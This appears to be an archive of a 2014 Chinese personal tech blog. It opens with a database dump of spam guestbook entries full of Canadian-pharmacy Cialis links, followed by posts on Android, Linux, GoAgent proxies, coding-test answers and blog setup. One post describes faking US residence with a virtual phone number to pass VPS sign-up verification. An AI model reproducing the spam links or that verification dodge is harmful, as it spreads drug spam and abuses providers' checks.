(2269, 'AImiQwNlahFndy', 'SyvyvzufCMvuz', '2015-01-05', ', &lt;a href="http://canadianpharmacyrxbest.com/#cialiscanadian"&gt;cialis 20mg canadian&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#howtoordercialisincanada"&gt;free cialis in canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#genericviagracialiscanada"&gt;canadian pharmacy cialis soft tabs&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#buycialisonlinecanadapharmacy"&gt;cialis canada over counter&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#achetercialisaucanada"&gt;mail order cialis canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialissalesonlinecanada"&gt;pharmacie francaise en ligne cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialiscostincanada"&gt;how to order cialis from canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialispricesincanada"&gt;purchase cialis in canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisuspharmacy"&gt;cialis online canada reviews&lt;/a&gt;, ', 1, 1, 2, '94.153.11.98', '2015-01-05 22:18:39', NULL),
(2270, 'wtVcdABQmufsTrhV', 'keIWGoWmNRKKdxgrYNl', '2015-01-05', ', &lt;a href="http://canadianpharmacyrxbest.com/#onlinepharmacycialisreviews"&gt;cheap canadian cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisprofessionalcanadianpharmacy"&gt;cialis uk pharmacy&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#onlinepharmacywwwbuycialisusa"&gt;reliable online pharmacy cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialis5mgfromcanada"&gt;cialis canada pharmacy&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadacialisprices"&gt;canada viagra cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadianpharmaciessellingcialis"&gt;buying real cialis online canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadianpharmacycialischeap"&gt;real cialis canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadiangenericcialis"&gt;canada pharmacy drugs cialis&lt;/a&gt;, ', 1, 2, 2, '94.153.11.98', '2015-01-05 22:26:12', NULL),
(2271, 'YzfMXRrCh', 'XvizwRTzT', '2015-01-05', ', &lt;a href="http://canadianpharmacyrxbest.com/#canadianpharmacyviagraandcialis"&gt;canada pharmacy cialis online&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#bestonlinepharmacytobuycialis"&gt;canadian cialis for sale&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisbrandedcanadianpharmacy"&gt;cialis and viagra from canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#onlinecialisincanada"&gt;canadian pharmacy with cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#onlinecialiscanadian"&gt;canadian pharmacy cialis 10mg&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisinternetpharmacy"&gt;pharmacie francaise en ligne cialis&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cheapcialiscanadapharmacyonline"&gt;cialis canada over counter&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#buyingcialisonlineincanada"&gt;canadian cialis reviews&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#bestonlinepharmacycialis"&gt;how much does cialis cost in canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisfordailyusefromcanada"&gt;cialis vs viagra canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisbrandcanadadiscount"&gt;pharmacie francaise en ligne cialis&lt;/a&gt;, ', 1, 1, 1, '94.153.11.98', '2015-01-05 22:40:41', NULL),
(2272, 'moyJWBpSRJEiqYCu', 'xUqloQDwcdMfZv', '2015-01-05', ', &lt;a href="http://canadianpharmacyrxbest.com/#cialisvsviagracanada"&gt;cialis in canada over the counter&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisviagracanada"&gt;cost cialis walmart pharmacy&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialisviagraonlinecanada"&gt;viagra cialis canadian pharmacy&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cheapgenericcialisfromcanada"&gt;cialis canada mail order&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadianpharmacyviagra+cialis"&gt;pharmacy cialis canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#canadianpharmacompaniescialis"&gt;cialis professional canadian pharmacy&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#bestonlinepharmaciesforcialis"&gt;cialis by mail canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialispillsincanada"&gt;is canadian cialis safe&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#cialiscanadabuy"&gt;real cialis canada&lt;/a&gt;, &lt;a href="http://canadianpharmacyrxbest.com/#mailordercialiscanada"&gt;20 mg cialis canada&lt;/a&gt;, ', 1, 1, 1, '94.153.11.98', '2015-01-05 22:47:54', NULL),

很明显的随机生成，留言的内容都是<a>标签，留下的网址都是同一个，也就是加拿大的xx医药网址（18+）的，很明显是一个推广机构在用,查询到的ip也是各种各样的~那么通过比对发现应该只有一到二个软件在攻击，不过流量巨大，每日请求的次数由几百次到几千次不等。

后续

我修改了一下留言的地址，然后在原来地址上留了一个纯文本来勾引spider，我看看攻击人的维护时间。
我用数据库里面的留言数据在Google中进行搜索，发现很多大陆网站的留言区都被写入过，高度怀疑和wp的自动留言机器是同一个类型的恶意推广模式。
使用开源框架或者内嵌开源框架一定要做好一些变化或者流量监控，互联网的nmap扫描太多了，很有可能你的网站的某一个功能就被robot给记录了。
自己的完整还是每天都来看看，发现异常的情况应该及时修改，我的这个list在我旧的主机的时候已经有了，可是那时候以为是有些人搞笑的就没太在意。
善于使用平台提供的工具，本地数据分析sublime就很方便~文本处理还是很快的。

Linux 远程连接 Windows电脑

2014-12-08T00:22:00+08:00

首先，windows电脑要开启远程登录

然后，Ubuntu下载rdesktop~

然后用命令rdesktop -x hex 111.111.111.111 -g 1024*786 -f

经常使用rdesktop -x hex 111.111.11.1 -a 24 -f 使用ctrl+enter可以缩小

Eclipse for Android 配置过程

2014-12-01T00:20:00+08:00

Android5.0的代码都出来好久了，官网的ADT还是旧的，对于我这样新版本就要换新eclipse的人觉得好痛苦的等待。那就自己动手吧~

从Eclipse官网下载最新的Eclipse.http://www.eclipse.org/
解压，打开Eclipse，选择help-install new software，然后输入网址：http://dl-ssl.google.com/android/eclipse/。建议添加host为：203.208.46.146 dl-ssl.google.com
安装所有东西。等待他安装好
关闭eclipse，下载SDK插件，在官网。http://developer.android.com/sdk/index.html。建议下载exe的~或者直接下载ADT，然后解压出里面的SDK。
打开我们的SDK，在SDK目录下的SDK Manager.exe
等待加载完成，勾选Tool，以及你需要的Android的版本的东西，建议每个版本至少选择SDK Platform ,建议选择Documentation以及arm和x86的img以及google api.如果没看到5.0请先更新tool，然后重启这个工具就可以看到了。
现在我们打开eclipse，在windows-preference-android里面配置上刚才的SDK的路径，然后他会自动匹配
然后就完成了~我们可以在主界面添加一些我们常用的插件，视图等

为安全研究专门开了一个新Blog

2014-11-27T21:06:00+08:00

回顾这几个月来做的事情，准备吧某些东西给写出来，因为研究这种东西过程往往比结果来的漫长，来的枯燥。

刚好之前汪海推荐过一个叫Typecho的博客系统，就在SAE上搭建了一个~

感谢@JEM 的前端支持~

欢迎大家访问陈佳的安全实验室http://safelab.chenjia.me

Andorid 颜色渐变的实现

2014-11-24T14:58:00+08:00

颜色渐变

今天看到一个软件清理~动态效果很不错，从黄色到绿色表示的是电脑垃圾减少的过程~

然后就想实现一个~

颜色渐变是有算法的，最开始想从16进制的000000加到ffffff发现是不对的。

//这是无意义的一行，防止subString出错========

简单得渐变应该是将色值拆开，成为这样：

int Red from 00 to (255)ff
int Blue from 00 to (255)ff
int Green from 00 to (255)ff

因此我们可以得到一个简单算法。

起始颜色比如#000000拆分为00 00 00，终点颜色为#FFFFFF拆开为FF FF FF
确定渐变的步数，为x
起始值减去终点值除以步数x就是每步我们要改变的数值

Android核心代码

开线程，修改bg的颜色色值

主要涉及：

android的颜色转换new Color().parseColor(color_str)
android的多线程
Java 10进制到16进制转换Integer.toHexString()

进制转换的溢出和补0的操作

String return2(String str){
    if(str.length()==1)
        return "0"+str;
    if(str.length()==0)
        return "00"+str;
    if(str.length()&gt;2)
        return str.substring(str.length()-2,str.length());
    return str;
}

实现的核心代码

    ImageView imageView;
    Handler handler;
    TextView textView;
    int color=16777215;
    private void initgreen() {
        // TODO Auto-generated method stub
        imageView=(ImageView)findViewById(R.id.imageView1);
        imageView.setOnClickListener(MainActivity.this);
        imageView.setBackgroundColor(new Color().BLACK);
        textView=(TextView)findViewById(R.id.textView1);
        handler=new Handler();

    }

    double r=255;
    double g=0;
    double b=255;
    Runnable runnable = new Runnable() {  
        @Override  
        public void run() {  
            r=r-1;
            g=g+0.5;
            b=b-0.25;
            String color_str;
            color_str="#"+return2(Integer.toHexString((int)r))+return2(Integer.toHexString((int)g))+return2(Integer.toHexString((int)b));
             Log.i("color", color_str);
            imageView.setBackgroundColor(new Color().parseColor(color_str));
            textView.setText(color_str);
            if(r&gt;=1)
            handler.postDelayed(this, 19);

        }  
    };

    String return2(String str){
        if(str.length()==1)
            return "0"+str;
        if(str.length()==0)
            return "00"+str;
        if(str.length()&gt;2)
            return str.substring(str.length()-2,str.length());
        return str;
    }

    @Override
    public void onClick(View v) {
        // TODO Auto-generated method stub
        if(v.getId()==R.id.imageView1){
            r=255;
            g=127;
            b=64;
            handler.postDelayed(runnable, 100);
        }
    }

申请VPS.me免费主机

2014-11-20T16:30:00+08:00

VPS主机是什么

VPS其实就是比主机更高级的一个网络服务，他直接的是提供一个真正虚拟主机给你，和你自己的的电脑是一样的。你可以通过VNC或者SSH进行连接，比如这样。

那我们可以做什么？

架设自己的网站
定时运行某些脚本
科学上网
ftp，samba等文件服务器
离线下载
etc.

如何申请

在浪费了好几个邮箱以后，找到了正确的方法。。

申请一个163的邮箱

到textnow.com注册一个账号

注册成功会让你填写一个区号，记得填写205，很重要

点击Account,里面你的电话号码，记下来，一般是+1（205）xxxxx

打开http://vps.me

在页面主机中向左边拖动，选择free

输入hostname 和系统，推荐ubuntu

下一步下一步，然后他会让你注册账号

注册账号的时候国家一定要选US，也就是美国

电话号码填写你获得到的电话号码。

然后成功登陆，这时候order状态是pending setup。我们需要验证手机号，这时候点击验证就好，然后我们去textnow就会看到一条短信，把验证码复制过来就成功了

等待主机生成成功，然后我们就可以通过ssh进行连接。

点击server，然后有ssh，就有ssh连接的教程~

开启ssh的tunnel

ssh的tunnel可以实现简单的sock5代理，安全加密无伤害。

在连接SSH之前，配置好tunnel的端口即可。然后本机就可用localhost:端口号上网啦

Ubuntu 添加第三方源(PPA)

2014-11-08T14:30:00+08:00

Ubuntu添加PPA源并安装软件

大家都知道apt-get可以很方便的获得很多程序，可是有的程序因为某些原因无法直接在官方的源里面下载，比如oracle 的java

我们可以通过http://LunchPad.net 来添加一些软件

sudo add-apt-repository ppa:user/ppa-name
sudo apt-get update
sudo apt-get install oracle-java6-install

这样我们就可以直接装好java6，也省去了我们配置java 环境变量的时间了。

Repo的使用

2014-11-08T13:02:00+08:00

repo 简介

Repo是google用Python脚本写的调用git的一个脚本，主要是用来下载、管理Android项目的软件仓库；

从高通或google下载代码是通过repo下载的，是由repo管理的266个git组成的

现在使用的git库是将由repo管理266个小git合并成一个git库导入目前导入的repo是将项目定制化的内容取出，拆成由repo管理45个小git；

Repo通过manifest.xml来同步代码，xml文件内容如下：

&lt;manifest&gt;
&lt;remote fetch="ssh://gitserver" name="origin" review="http://gerrit:8080"/&gt;  
&lt;default revision=“master” remote=“origin” /&gt;     
&lt;project path="build" name="platform/build"/&gt;
&lt;project path="abi/cpp" name="platform/abi/cpp" /&gt;
&lt;project path="bionic" name="platform/bionic" /&gt;
&lt;project path="bootable/bootloader/lk" name="kernel/lk" /&gt;

Repo初始化

Repo脚本获取（仅针对第一次使用）

repo脚本已导入git库，库名为git-repo.git
克隆repo库
git clone gitserver:git-repo
将git-repo库中的repo脚本拷贝到～/bin目录

增加权限

PATH=~/bin:$PATH
chmod a+x ~/bin/repo

Repo设置成功后，输入repo会提示运行repo init进行初始化

yangfei@YYRD-4:~$ repo　error: repo is not installed.  Use "repo init" to install it here.

Repo初始化

 Repo初始化，会在根目录 建立.repo

Repo同步

同步repo代码

Repo sync

初始化分支

Sync成功后，所有的git库都处于 no branch状态，不能进行操作

yangfei@YYRD-4:~/test$ repo branch

         (no branches)

初化分支

Repo start master –all

yangfei@YYRD-4:~/test$ repo start master --all

   Starting master: 100% (45/45), done.

--all意思为对所有项目操作，如果对某个项目操作如下

Repo start master(分支名) cmd1(项目名)

Repo使用（分支初始化之后，操作同git）

Repo初如化分支后，可切入各git库进行git的操作

Repo常用命令

Repo forall –c git …..

对由repo管理的git库进行操作，如repo forall –c git checkout 45451 所有库检出45451分支与远程45451分支对应（若无，则跳过）

Repo checkout <branchname[projectname]

作用：等同于带项目参数的git checkout

Repo branch [projectname]

作用：读取项目分支的情况

Repo abandon <branchname[projectname]

作用：删除指定项目的指定分支,强制删除不管是否有合并,等同git branch –D

Repo version

作用：显示repo版本

Repo status [projectname]

作用：显示分支及修改情况

转载：http://blog.csdn.net/hellofeiya/article/details/8560321

【2014-11-1】Pelican添加多说评论

2014-11-02T01:15:00+08:00

多说评论

据说是现在大陆很流行的一个评论~关键是~好多人都在用~不过他们用的是HEXO~那我们就转移到Pelican上来吧~

开始添加多说评论

多说http://duoshuo.com/

注册账号

注册多说账号
绑定网站信息

获取js代码，比如这样

&lt;!-- 多说评论框 start --&gt;
&lt;div class="ds-thread" data-thread-key="请将此处替换成文章在你的站点中的ID" data-title="请替换成文章的标题" data-url="请替换成文章的网址"&gt;&lt;/div&gt;
&lt;!-- 多说评论框 end --&gt;
&lt;!-- 多说公共JS代码 start (一个网页只需插入一次) --&gt;
&lt;script type="text/javascript"&gt;
var duoshuoQuery = {short_name:"chenjia"};
(function() {
    var ds = document.createElement('script');
    ds.type = 'text/javascript';ds.async = true;
    ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
    ds.charset = 'UTF-8';
    (document.getElementsByTagName('head')[0] 
     || document.getElementsByTagName('body')[0]).appendChild(ds);
})();
&lt;/script&gt;
&lt;!-- 多说公共JS代码 end --&gt;

修改主题

一般评论的网页模板应该在主题目录下的\templates\disqus.html中

注释掉原来的js代码~不然会有两个评论框。

&lt;!-- 
&lt;div id="disqus_thread"&gt;&lt;/div&gt;
&lt;script type="text/javascript"&gt;
var disqus_shortname = '{{ DISQUS_SITENAME }}'; 
var disqus_title = '{{ article.title }}';

(function() {
    var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
    dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js';
    (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
&lt;/script&gt;
--&gt;

将js脚本复制到对应区域
第一个字符串修改为data-thread-key="{{ article.slug }}"
第二个字符串修改为data-title="{{ article.title }}"
第三个字符串修改为data-url="{{ SITEURL }}/{{ article.url }}" +

这样第一个我们用的是文章的slug，一般来说没定义的话应该是文章标题的拼音~基本没有两个相同的文章名吧~

第二个用的是文字的标题~这个就没什么多说的啦

第三个用的就是文章的网址，也就是当前页面的网址~

然后更新主题，重新生成文章就好！

修改多说设置

我们可以在多说的网站管理里面修改评论框的各种属性~比如主题神马的~我就修改了微博的appkey让分享的时候可以显示来自我的网站~啦啦啦~

【2014-10-28】Goagent的妙用

2014-10-28T20:23:00+08:00

什么是Goagent

goagent是一个google的开源项目，可以访问http://code.google.com/p/goagent（需要翻墙），现在应该移植到Github去了（担心Github的安全）

其目的很明显，就是提供一个安全的上网环境。

可能很多人都认为他仅仅能翻墙，而且还不稳定。那你们就只是知道一些皮毛~

打造自己的Goagent

配置基本的Goagent

这个步骤请自行百度，网上教程一坨一坨的~我也不浪费时间啦~

让Goagent走IPV6通道

众所周知，ipv6的速度快，而且安全稳定。goagent支持使用IPv6网络，只需修改proxy.ini文件中的ipv6 = 1就好了~

google ipv6的地址屏蔽的速度很慢，所以只有全部爆红再去项目主页更新一下配置就好啦~

让自己的Goagent局域网/外网可以访问

修改proxy.ini文件中的

[listen]
ip = 127.0.0.1
改为
[listen]
ip = 0.0.0.0
即可

科学上网，将一些国内能访问的网站不通过Goagent

一般情况下我们使用的是HTTP代理，所以大家一般都是用127.0.0.1:8087来上网

其实我们可以在sharpswitch等地方中选择PAC方式，然后在里面填上地址127.0.0.1:8086/proxy.pac就ok啦~

我们可以自己修改该目录下的proxy.pac文件来添加自己的规则~

英语好一点就知道怎么添加啦~模仿is right~

安全上WiFi

大家都知道现在的共用WiFi是不安全的，然后有人就说用VPN 来解决，其实在不是很不重要也不是很重要的时候我们可以用Goagent来解决这个问题。

将手机的数据包发给自己的配置好的goagent地址，然后通过这个地址进行上网，是可以保护自己的数据不受到植入的。（亲测成功）

android手机

在 - 设置 - WLAN - 选择连接的无线 - 修改网络或者高级设置之类的 - 显示高级选项 - 代理设置为手动 - 然后代理服务器主机名和端口填写你电脑的ip加上端口 - 一般在goagent的那个窗口里面会有（默认是ip:8087） - 保存

然后就OK啦~

iPHone

设置
Wi-Fi
连接的无线右边的感叹号
下滑到最底下，有HTTP代理
选择手动
服务器填写电脑的ip
端口填写端口号，默认8087
鉴定关闭
保存。

【2014-10-18】Ubuntu中的一些小技巧

2014-10-18T22:03:00+08:00

命令

top命令：进程查看
netstat 网络查看
ps aux 全部进程
学会使用|grep 表达式
。。。

tips

使用交换区
注意文件权限
vsftp
更换软件源

添加Ubuntu的swap分区增加虚拟内存

2014-10-16T12:40:00+08:00

需求

为什么今天会写这个呢，因为在编译android4.4的时候发现内存不足。。我可以4G内存啊~

然后发现我在安装ubuntu的时候没有配置swap分区，就是木有虚拟内存。。

那不想重装，就找了这篇文章

来源：http://blog.sina.com.cn/s/blog_6954b9a901016a0b.html

内容

mkswap 把一个分区格式化成为swap交换区

[root@localhost]# mkswap /dev/sda6 注：创建此分区为swap 交换分区
[root@localhost]# swapon /dev/sda6 注：加载交换分区；
[root@localhost]# swapoff /dev/sda6 注：关闭交换分区；

查看系统已经加载的swap交换分区

[root@localhost]# swapon /dev/sda6 注：加载交换分区；
[root@localhost]# swapon -s
Filename Type Size Used Priority
/dev/hda7 partition 787144 0 -1
/dev/sda6 partition 225144 0 -3

如果让swap开机就加载，应该改 /etc/fstab文件，加类似如下一行； /dev/sda6 swap swap defaults 0 0

注：把此行中的/dev/hda7 改为您的交换分区就行；或者把命令行直接写入/etc/rc.d/rc.local中也行； swapon /dev/sda6

如果您的硬盘不能再分区，您可以创建一个swap文件

[root@localhost]# dd if=/dev/zero of=/tmp/swap bs=1024 count=524288

注：创建一个大小为512M 的swap 文件，在/tmp目录中；您可以根据自己的需要的大小来创建swap 文件；

读入了 524288+0 个块
输出了 524288+0 个块
[root@localhost]# mkswap /tmp/swap 注：把/tmp/swap 文件，创建成swap 交换区
[root@localhost]# sync
[root@localhost]# swapon /tmp/swap 注：挂载swap 
[root@localhost]# vim /etc/fstab

文件末尾添加/tmp/swap none swap rw 0 1

[root@localhost]# swapon -s
Filename Type Size Used Priority
/dev/hda7 partition 787144 888 -1
/tmp/swap file 524280 0 -2

如何关闭交换分区

1.[root@localhost]# swapoff swap1
2.删除/etc/fstab中的记录即可

最后

我使用的是第三种，因为可以挂载在其他的磁盘上~只是每次需要的时候挂载一下或者开机自动挂载啦~

阿里面试心得

2014-10-13T21:50:00+08:00

阿里面试之路

本人过了阿里面试一面，因为某些原因不能去北京只能申请电话面试，现在还在等待中。

想一下自己一个人直接早上去北京晚上回来还是蛮拼的~

话说阿里在北京的面试地点就是阿里北京的办公地点，面试地点是在公司的地下一楼。

然后就是面试，按照预约的时间提前到就好，我是提前了两个多小时到，进去签到后发现客户端的没人了我就直接面试了~运气+

然后就是简单的自我介绍，以及对简历的一些叙述。简单的交流。

项目经验很重要
Android的基本知识要知道
懂的分析一些APP
知道一些东西的实现

基本就是这些，我面试的时间大概有50分钟了吧。后面主要都在讨论的是如何实现左滑菜单和右滑菜单（以网易客服端为例子）

我想了3种方法，面试官说还有一种，可能是他希望的~不过我当时没想起来~o(╯□╰)o

面试结果也是很快的，基本你出门登录招聘系统就看到结果了~

end~

华为2014年校园招聘机试题目与答案

2014-10-13T12:35:00+08:00

写在前面

其实我想吐槽的是每次华为机试都能满分，可惜到最后都没面试机会。。。不知道HR是怎么想的。。

而且。。华为的心理测试真的是做了一次谁都不想做第二次。。。所以大家还是要认真的做的0.0

2014年秋季校园招聘机试题1

题目1

天数计算

描述: 输入一个含年月信息的字符串，仅支持信息格式MM-YYYY(MM:月份，YYYY:年份)，根据该信息输出当月总天数。注意考虑闰年。

已知闰年是满足下列条件的年份：

（1）公历年份是4的倍数且不是100的倍数

（2）公历年份是400的倍数

例如，2000年是闰年，1900年则是平年。闰年2月份为29天，平年2月份为28天。

运行时间限制: 无限制

内存限制: 无限制

输入: 年月信息字符串

输出: 当月总天数>

样例输入: 03-2012

样例输出: 31

答案提示:

其实这道题目很简单。。switch-case就好~ 这是基础题目，一般计算机二级过了都可以

import java.util.Scanner;

public class Main1 {

/**
 * @param args
 */
public static void main(String[] args) {
    // TODO Auto-generated method stub
    Scanner scanner=new Scanner(System.in);
    String str1=scanner.next();
    String[] date=new String[2];
    date=str1.split("-");
    boolean flag=isflag(Integer.parseInt(date[1]));
    switch (Integer.parseInt(date[0])) {
    case 1:
    case 3:
    case 5:
    case 7:
    case 8:
    case 10:
    case 12:
        System.out.println(31);

        break;
    case 4:
    case 6:
    case 9:
    case 11:
        System.out.println(30);
        break;
    case 2:{
        if(flag){
            System.out.println(29);
        }else{
            System.out.println(28);
        }
    }
    }

    //System.out.println("hello");
}
static boolean isflag(int i){
    if(i%4==0){
        if(i%100==0){
            if(i%400==0){
                return true;
            }
            else{
                return false;
            }
        }
        return true;
    }

    return false;

}

}

题目2

检查字符串中的左右括号是否匹配

描述: 编写一个函数，检查一个字符串中出现的括号“(”和“)”是否匹配。

比如字符串“(a+b*(9-6))”,该字符串的括号就是匹配的

又如字符串“(Gov)$Com)”,该字符串的括号就是不匹配的，右边多了一个”)”

若括号匹配返回1，若不匹配返回0，不考虑空字符串，字符串长度最长为128。

运行时间限制: 无限制

内存限制: 无限制

输入: 字符串

输出: 若括号匹配返回1，若不匹配返回0，不考虑空字符串

样例输入: (a+b*(9-6))

样例输出: 1

答案提示:

其实这个也很简单，复杂的方法用堆栈，简单的直接用int记录就好~因为就一个变量。（括号）

import java.util.Scanner;
import java.util.Stack;


public class Main2 {

    /**
     * @param args
     */
    public static void main(String[] args) {
        // TODO Auto-generated method stub
        Scanner scanner=new Scanner(System.in);
        Stack stack=new Stack();
        String str=scanner.nextLine();
        int index=0;
        while(true){
            String c;
            try {
                c = str.substring(index, index+1);
            } catch     (StringIndexOutOfBoundsException e)     {
                // TODO Auto-generated catch block
                break;
            }
            index++;
            if(c.compareTo("(")==0){
                stack.push(c);
            }
            if(c.compareTo(")")==0){
                if(stack.empty()){
                    stack.push(c);
                    continue;
                }
                String top=stack.peek().toString();
                //System.out.println("top"+top);
                if(top.compareTo("(")==0){
                    stack.pop();
                    continue;
                }           
                else{
                    stack.push(c);
                }
            }
        }
        if(stack.empty()){
            System.out.println(1);
        }
        else{
            System.out.println(0);
        }
    }

}

第三题

最大的正方形

描述: 给你一个N*M的矩阵，每个位置的值是0或1，求一个面积最大的子矩阵，这个矩阵必须是一个正方形，且里面只能由1构成，输出最大的正方形边长

运行时间限制: 2 Sec

内存限制: 无限制

输入: 第一行输入两个整数n，m，之后n行，每行m个数字，为矩阵第i行第j列的值，只可能是0或者1

n,m<=400

输出: 一个整数，为最大正方形的边长

样例输入: 3 3

1 1 1

1 1 1

0 0 1

样例输出: 2

答案提示:

这道题不能用暴力解决，会TLE的。（N^3）我们要用矩阵去存储最大的正方形的数据而不是存输入的数据。

即边输入边计算。(n^2)

import java.util.Scanner;


public class Main3 {

    /**
     * @param args
     */
    public static void main(String[] args) {
        // TODO Auto-generated method stub
        Scanner scanner=new Scanner(System.in);
        int m=scanner.nextInt();
        int n=scanner.nextInt();
        int max=0;
        int[][] pic=new int[m][n];
        for(int i=0;i&lt;m;i++){
            for(int j=0;j&lt;n;j++){
                pic[i][j]=0;
                int next=scanner.nextInt();
                if(next==1){
                    int length;
                    int lflag=0;

                    try {
                        length = pic[i-1][j-1];
                        for(int k=1;k&lt;=length;k++){
                            if(pic[i-k][j]==0||pic[i][j-k]==0){
                                lflag=k;
                                break;
                            }
                                }
                    } catch (ArrayIndexOutOfBoundsException e) {
                        // TODO Auto-generated catch block
                        //e.printStackTrace();
                        length=1;
                        lflag=1;
                    }               
                    if(lflag==0)lflag=length+1;
                    pic[i][j]=lflag;
                    //System.out.println(lflag);

                    if(lflag&gt;max)max=lflag;
                    }
                }

            }
        System.out.println(max);
    }

}

总结

做了两次华为的机试，觉得软件的拿下前两道基本没问题，第三道一般都是比较有挑战的算法题，需要平时有一些学习才会了解。第一次华为机试的时候是一个递推原型，精简后是斐波那契数列原型。

使用公共CND进行加速

2014-10-07T20:17:00+08:00

问题

现在大多数前端都用了jQuery等类库
google font被墙不能用
网站3网访问速度不一样

解决

类库Cdn

个人觉得很全的~七牛CND http://www.staticfile.org/

360前端CDN http://libs.useso.com/

字体加速

360字体镜像 http://libs.useso.com/

使用:

首先在程序源代码中找到调用Google免费字体库的地址，比如：

&lt;link href='http://fonts.googleapis.com/css?family=Open+Sans:300,400,600&amp;subset=latin,latin-ext' rel='stylesheet'&gt;

将Google免费字体库的域名 fonts.googleapis.com 修改为：fonts.useso.com 即可，如下所示：

&lt;link href='http://fonts.useso.com/css?family=Open+Sans:300,400,600&amp;subset=latin,latin-ext' rel='stylesheet'&gt;

简洁来说，就是讲googleapis替换为useso

替换后记得刷新~

列出PHP文件夹下的所有文件

2014-10-07T19:48:00+08:00

目的

实现和FTP服务器一下一个简单的文件列表，便于我们查看服务器的文件。

也是开源必备的文件

实现

一个index.php，可以实现向上级，下级跳转，列出当前目录文件，文件。并可以点击。

实例

代码

&lt;html&gt;
&lt;head&gt;&lt;title&gt;Index of &lt;?php echo dirname(__FILE__);  ?&gt;/&lt;/title&gt;&lt;/head&gt;
&lt;body bgcolor="white"&gt;
&lt;h1&gt;Index of &lt;?php echo dirname(__FILE__);  ?&gt;/&lt;/h1&gt;&lt;hr&gt;&lt;pre&gt;&lt;a href="../"&gt;../&lt;/a&gt;
&lt;?php        
function getFileList3($directory) {        
$files = array();        
try {        
    $dir = new DirectoryIterator($directory);        
} catch (Exception $e) {        
    throw new Exception($directory . ' is not readable');        
}        
foreach($dir as $file) {        
    if($file-&gt;isDot()) continue;  
    if($file-&gt;isDir()) {
        $files[] = $file-&gt;getFileName()."/"; 
    } 
    else {
       $files[] = $file-&gt;getFileName();     
    }      
}        
return $files;        
}

$dir = dirname(__FILE__);   
$fileslist=getFileList3($dir);

for($x=0;$x&lt;count($fileslist);$x++) {
   echo "&lt;a href=".$fileslist[$x]."&gt;".$fileslist[$x]."&lt;/a&gt;";
   echo "&lt;br&gt;";
}   
?&gt;

&lt;/pre&gt;&lt;hr&gt;&lt;/body&gt;
&lt;/html&gt;

Pelican 进阶2

2014-10-06T18:58:00+08:00

今日更新

Godaddy 域名续费太贵了，已经抛弃主机和域名，现在所有的网页部署在SAE和GITCAFE上。

今日移植了fashion4cj.com 的pelican博客系统，准确的说是又重新生成了一下，改进了许多地方。

Share it、

进阶教程2

生成的文章的文件名改为时间而不是原来一大串的拼音

官方文档:https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#url

修改pelicanconf.py文件

添加

ARTICLE_URL ='articles/{date:%y}{date:%m}{date:%d}-{date:%H}{date:%M}{date:%S}.html'
ARTICLE_SAVE_AS = 'articles/{date:%y}{date:%m}{date:%d}-{date:%H}{date:%M}{date:%S}.html'

其中date属性可以参考python对时间的解析https://docs.python.org/2/library/datetime.html#strftime-strptime-behavior

注意：URL和SAVE_AS两个路径要一样，后者不存在导致无法生成*.html 不一致导致链接无法使用

修改summary字数

pelican默认的summary字数是50，简直就是一大篇文字了。

修改pelicanconf.py文件

添加

SUMMARY_MAX_LENGTH = 5

大小调整到适合你的就好~

添加标签云

参考：https://pelican-docs-chs.readthedocs.org/en/latest/settings.html#id14

修改pelicanconf.py文件

添加

TAG_CLOUD_STEPS = 4 
TAG_CLOUD_MAX_ITEMS = 20

在主题模板中添加

&lt;ul&gt;
{% for tag in tag_cloud %}
    &lt;li class="tag-{{ tag.1 }}"&gt;&lt;a href="/tag/{{ tag.0|string|replace(" ", "-" ) }}.html"&gt;{{ tag.0 }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/ul&gt;

注意，修改主题后要更新主题，使用命令pelican-themes -U Theme_Name

【2014年10月1日】预告

2014-10-01T21:32:00+08:00

九月

